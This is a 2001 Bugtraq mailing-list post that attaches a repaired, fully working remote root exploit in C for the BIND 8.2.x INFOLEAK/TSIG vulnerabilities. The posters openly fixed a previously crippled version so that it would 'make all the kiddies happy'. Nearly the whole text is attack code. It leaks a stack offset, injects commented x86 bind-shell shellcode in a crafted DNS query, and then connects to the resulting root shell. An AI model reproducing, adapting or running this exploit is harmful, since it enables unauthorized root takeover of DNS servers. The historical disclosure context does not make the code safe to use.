Fixed BIND TSIG Exploit
Date: Wed, 7 Feb 2001 03:11:16 -0500
From: Jonathan Wilkins <jwilkins@BITLAND.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Fixed BIND TSIG Exploit
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Content-Type: text/plain; charset="us-ascii"
Content-ID: <6976.981533412.1@toxygene.bitland.net>
The posted BIND exploit was crippled and the author seemed a little unclear
on the necessary byte ordering.. Attached is a cleaned up version that should
make all the kiddies happy..
Jonathan and Ian (at 3:00am)
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Content-Type: text/plain; charset="us-ascii"
Content-ID: <6976.981533412.2@toxygene.bitland.net>
Content-Description: bind82x.c
/*
* This exploit has been fixed and extensive explanation and clarification
* added.
* Cleanup done by:
* Ian Goldberg <ian@cypherpunks.ca>
* Jonathan Wilkins <jwilkins@bitland.net>
* NOTE: the default installation of RedHat 6.2 seems to not be affected
* due to the compiler options. If BIND is built from source then the
* bug is able to manifest itself.
*/
/*
* Original Comment:
* lame named 8.2.x remote exploit by
*
* Ix [adresadeforward@yahoo.com] (the master of jmpz),
* lucysoft [lucysoft@hotmail.com] (the master of queries)
*
* this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html)
* linux only shellcode
* this is only for demo purposes, we are not responsable in any way for what you do with this code.
*
* flamez - canaris
* greetz - blizzard, netman.
* creditz - anathema <anathema@hack.co.za> for the original shellcode
* - additional code ripped from statdx exploit by ron1n
*
* woo, almost forgot... this exploit is pretty much broken (+4 errors), but we hope you got the idea.
* if you understand how it works, it won't be too hard to un-broke it
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#define max(a,b) ((a)>(b)?(a):(b))
#define BUFFSIZE 4096
int argevdisp1, argevdisp2;
char shellcode[] =
/* The numbers at the right indicate the number of bytes the call takes
* and the number of bytes used so far. This needs to be lower than
* 62 in order to fit in a single Query Record. 2 are used in total to
* send the shell code
*/
/* main: */
/* "callz" is more than 127 bytes away, so we jump to an intermediate
spot first */
"\xeb\x44" /* jmp intr */ // 2 - 2
/* start: */
"\x5e" /* popl %esi */ // 1 - 3
/* socket() */
"\x29\xc0" /* subl %eax, %eax */ // 2 - 5
"\x89\x46\x10" /* movl %eax, 0x10(%esi) */ // 3 - 8
"\x40" /* incl %eax */ // 1 - 9
"\x89\xc3" /* movl %eax, %ebx */ // 2 - 11
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ // 3 - 14
"\x40" /* incl %eax */ // 1 - 15
"\x89\x46\x08" /* movl %eax, 0x08(%esi) */ // 3 - 18
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 21
"\xb0\x66" /* movb $0x66, %al */ // 2 - 23
"\xcd\x80" /* int $0x80 */ // 2 - 25
/* bind() */
"\x43" /* incl %ebx */ // 1 - 26
"\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */ // 4 - 30
"\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */ // 4 - 34
"\x88\x46\x08" /* movb %al, 0x08(%esi) */ // 3 - 37
"\x29\xc0" /* subl %eax, %eax */ // 2 - 39
"\x89\xc2" /* movl %eax, %edx */ // 2 - 41
"\x89\x46\x18" /* movl %eax, 0x18(%esi) */ // 3 - 44
/*
* the port address in hex (0x9000 = 36864), if this is changed, then a similar
* change must be made in the connection() call
* NOTE: you only get to set the high byte
*/
"\xb0\x90" /* movb $0x90, %al */ // 2 - 46
"\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */ // 4 - 50
"\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */ // 3 - 53
"\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */ // 3 - 56
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 59
"\xeb\x02" /* jmp cont */ // 2 - 2
/* intr: */
"\xeb\x43" /* jmp callz */ // 2 - 4
/* cont: */
"\xb0\x66" /* movb $0x66, %al */ // 2 - 6
"\xcd\x80" /* int $0x80 */ // 2 - 10
/* listen() */
"\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */ // 3 - 11
"\x43" /* incl %ebx */ // 1 - 12
"\x43" /* incl %ebx */ // 1 - 13
"\xb0\x66" /* movb $0x66, %al */ // 2 - 15
"\xcd\x80" /* int $0x80 */ // 2 - 17
/* accept() */
"\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */ // 3 - 20
"\x89\x56\x10" /* movl %edx, 0x10(%esi) */ // 3 - 23
"\xb0\x66" /* movb $0x66, %al */ // 2 - 25
"\x43" /* incl %ebx */ // 1 - 26
"\xcd\x80" /* int $0x80 */ // 1 - 27
/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3" /* xchgb %al, %bl */ // 2 - 29
"\xb0\x3f" /* movb $0x3f, %al */ // 2 - 31
"\x29\xc9" /* subl %ecx, %ecx */ // 2 - 33
"\xcd\x80" /* int $0x80 */ // 2 - 35
"\xb0\x3f" /* movb $0x3f, %al */ // 2 - 37
"\x41" /* incl %ecx */ // 1 - 38
"\xcd\x80" /* int $0x80 */ // 2 - 40
"\xb0\x3f" /* movb $0x3f, %al */ // 2 - 42
"\x41" /* incl %ecx */ // 1 - 43
"\xcd\x80" /* int $0x80 */ // 2 - 45
/* execve() */
"\x88\x56\x07" /* movb %dl, 0x07(%esi) */ // 3 - 48
"\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */ // 3 - 51
"\x87\xf3" /* xchgl %esi, %ebx */ // 2 - 53
"\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */ // 3 - 56
"\xb0\x0b" /* movb $0x0b, %al */ // 2 - 58
"\xcd\x80" /* int $0x80 */ // 2 - 60
"\x90"
/* callz: */
"\xe8\x72\xff\xff\xff" /* call start */ // 5 - 5
"/bin/sh"; /* There's a NUL at the end here */ // 8 - 13
unsigned long resolve_host(char* host)
{
long res;
struct hostent* he;
if (0 > (res = inet_addr(host)))
{
if (!(he = gethostbyname(host)))
return(0);
res = *(unsigned long*)he->h_addr;
}
return(res);
}
int dumpbuf(char *buff, int len)
{
char line[17];
int x;
/* print out a pretty hex dump */
for(x=0;x<len;x++){
if(!(x%16) && x){
line[16] = 0;
printf("\t%s\n", line);
}
printf("%02X ", (unsigned char)buff[x]);
if(isprint((unsigned char)buff[x]))
line[x%16]=buff[x];
else
line[x%16]='.';
}
printf("\n");
}
void
runshell(int sockd)
{
char buff[1024];
int fmax, ret;
fd_set fds;
fmax = max(fileno(stdin), sockd) + 1;
send(sockd, "uname -a; id;\n", 15, 0);
for(;;)
{
FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sockd, &fds);
if(select(fmax, &fds, NULL, NULL, NULL) < 0)
{
exit(EXIT_FAILURE);
}
if(FD_ISSET(sockd, &fds))
{
bzero(buff, sizeof buff);
if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
{
exit(EXIT_FAILURE);
}
if(!ret)
{
fprintf(stderr, "Connection closed\n");
exit(EXIT_FAILURE);
}
write(fileno(stdout), buff, ret);
}
if(FD_ISSET(fileno(stdin), &fds))
{
bzero(buff, sizeof buff);
ret = read(fileno(stdin), buff, sizeof buff);
if(send(sockd, buff, ret, 0) != ret)
{
fprintf(stderr, "Transmission loss\n");
exit(EXIT_FAILURE);
}
}
}
}
connection(struct sockaddr_in host)
{
int sockd;
host.sin_port = htons(36864);
printf("[*] connecting..\n");
usleep(2000);
if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
exit(EXIT_FAILURE);
}
if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
{
printf("[*] wait for your shell..\n");
usleep(500);
runshell(sockd);
}
else
{
printf("[x] error: named not vulnerable or wrong offsets used\n");
}
close(sockd);
}
int infoleak_qry(char* buff)
{
HEADER* hdr;
int n, k;
char* ptr;
int qry_space = 12;
int dummy_names = 7;
int evil_size = 0xff;
memset(buff, 0, BUFFSIZE);
hdr = (HEADER*)buff;
hdr->id = htons(0xbeef);
hdr->opcode = IQUERY;
hdr->rd = 1;
hdr->ra = 1;
hdr->qdcount = htons(0);
hdr->nscount = htons(0);
hdr->ancount = htons(1);
hdr->arcount = htons(0);
ptr = buff + sizeof(HEADER);
printf("[d] HEADER is %d long\n", sizeof(HEADER));
n = 62;
for(k=0; k < dummy_names; k++)
{
*ptr++ = n;
ptr += n;
}
ptr += 1;
PUTSHORT(1/*ns_t_a*/, ptr); /* type */
PUTSHORT(T_A, ptr); /* class */
PUTLONG(1, ptr); /* ttl */
PUTSHORT(evil_size, ptr); /* our *evil* size */
return(ptr - buff + qry_space);
}
int evil_query(char* buff, int offset)
{
int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
HEADER* hdr;
char *ptr;
int k, bufflen;
u_int n, m;
u_short s;
int i;
int shelloff, shellstarted, shelldone;
int towrite, ourpack;
int n_dummy_rrs = 7;
printf("[d] evil_query(buff, %08x)\n", offset);
printf("[d] shellcode is %d long\n", sizeof(shellcode));
shelladdr = offset - 0x200;
lameaddr = shelladdr + 0x300;
ourpack = offset - 0x250 + 2;
towrite = (offset & ~0xff) - ourpack - 6;
printf("[d] olb = %d\n", (unsigned char) (offset & 0xff));
rroffsetidx = towrite / 70;
offset0 = towrite - rroffsetidx * 70;
if ((offset0 > 52) || (rroffsetidx > 6))
{
printf("[x] could not write our data in buffer (offset0=%d, rroffsetidx=%d)\n", offset0, rroffsetidx);
return(-1);
}
rrshellidx = 1;
deplshellcode = 2;
hdr = (HEADER*)buff;
memset(buff, 0, BUFFSIZE);
/* complete the header */
hdr->id = htons(0xdead);
hdr->opcode = QUERY;
hdr->rd = 1;
hdr->ra = 1;
hdr->qdcount = htons(n_dummy_rrs);
hdr->ancount = htons(0);
hdr->arcount = htons(1);
ptr = buff + sizeof(HEADER);
shellstarted = 0;
shelldone = 0;
shelloff = 0;
n = 63;
for (k = 0; k < n_dummy_rrs; k++)
{
*ptr++ = (char)n;
for(i = 0; i < n-2; i++)
{
if((k == rrshellidx) && (i == deplshellcode) && !shellstarted)
{
printf("[*] injecting shellcode at %d\n", k);
shellstarted = 1;
}
if ((k == rroffsetidx) && (i == offset0))
{
*ptr++ = lameaddr & 0x000000ff;
*ptr++ = (lameaddr & 0x0000ff00) >> 8;
*ptr++ = (lameaddr & 0x00ff0000) >> 16;
*ptr++ = (lameaddr & 0xff000000) >> 24;
*ptr++ = shelladdr & 0x000000ff;
*ptr++ = (shelladdr & 0x0000ff00) >> 8;
*ptr++ = (shelladdr & 0x00ff0000) >> 16;
*ptr++ = (shelladdr & 0xff000000) >> 24;
*ptr++ = argevdisp1 & 0x000000ff;
*ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
*ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
*ptr++ = (argevdisp1 & 0xff000000) >> 24;
*ptr++ = argevdisp2 & 0x000000ff;
*ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
*ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
*ptr++ = (argevdisp2 & 0xff000000) >> 24;
i += 15;
}
else
{
if (shellstarted && !shelldone)
{
*ptr++ = shellcode[shelloff++];
if(shelloff == (sizeof(shellcode)))
shelldone=1;
}
else
{
*ptr++ = i;
}
}
}
/* OK: this next set of bytes constitutes the end of the
* NAME field, the QTYPE field, and the QCLASS field.
* We have to have the shellcode skip over these bytes,
* as well as the leading 0x3f (63) byte for the next
* NAME field. We do that by putting a jmp instruction
* here.
*/
*ptr++ = 0xeb;
if (k == 0)
{
*ptr++ = 10;
/* For alignment reasons, we need to stick an extra
* NAME segment in here, of length 3 (2 + header).
*/
m = 2;
*ptr++ = (char)m; // header
ptr += 2;
}
else
{
*ptr++ = 0x07;
}
/* End the NAME with a compressed pointer. Note that it's
* not clear that the value used, C0 00, is legal (it
* points to the beginning of the packet), but BIND apparently
* treats such things as name terminators, anyway.
*/
*ptr++ = 0xc0; /*NS_CMPRSFLGS*/
*ptr++ = 0x00; /*NS_CMPRSFLGS*/
ptr += 4; /* QTYPE, QCLASS */
}
/* Now we make the TSIG AR */
*ptr++ = 0x00; /* Empty name */
PUTSHORT(0xfa, ptr); /* Type TSIG */
PUTSHORT(0xff, ptr); /* Class ANY */
bufflen = ptr - buff;
// dumpbuf(buff, bufflen);
return(bufflen);
}
long xtract_offset(char* buff, int len)
{
long ret;
/* Here be dragons. */
/* (But seriously, the values here depend on compilation options
* used for BIND.
*/
ret = *((long*)&buff[0x214]);
argevdisp1 = 0x080d7cd0;
argevdisp2 = *((long*)&buff[0x264]);
printf("[d] argevdisp1 = %08x, argevdisp2 = %08x\n",
argevdisp1, argevdisp2);
// dumpbuf(buff, len);
return(ret);
}
int main(int argc, char* argv[])
{
struct sockaddr_in sa;
int sock;
long address;
char buff[BUFFSIZE];
int len, i;
long offset;
socklen_t reclen;
unsigned char foo[4];
printf("[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix\n");
printf("[*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net\n\n");
address = 0;
if (argc < 2)
{
printf("[*] usage : %s host\n", argv[0]);
return(-1);
}
if (!(address = resolve_host(argv[1])))
{
printf("[x] unable to resolve %s, try using an IP address\n", argv[1]);
return(-1);
} else {
memcpy(foo, &address, 4);
printf("[*] attacking %s (%d.%d.%d.%d)\n", argv[1], foo[0], foo[1], foo[2], foo[3]);
}
sa.sin_family = AF_INET;
if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
{
return(-1);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(53);
sa.sin_addr.s_addr= address;
len = infoleak_qry(buff);
printf("[d] infoleak_qry was %d long\n", len);
len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
if (len < 0)
{
printf("[*] unable to send iquery\n");
return(-1);
}
reclen = sizeof(sa);
len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
if (len < 0)
{
printf("[x] unable to receive iquery answer\n");
return(-1);
}
printf("[*] iquery resp len = %d\n", len);
offset = xtract_offset(buff, len);
printf("[*] retrieved stack offset = %x\n", offset);
len = evil_query(buff, offset);
if(len < 0){
printf("[x] error sending tsig packet\n");
return(0);
}
sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
if (0 > close(sock))
{
return(-1);
}
connection(sa);
return(0);
}
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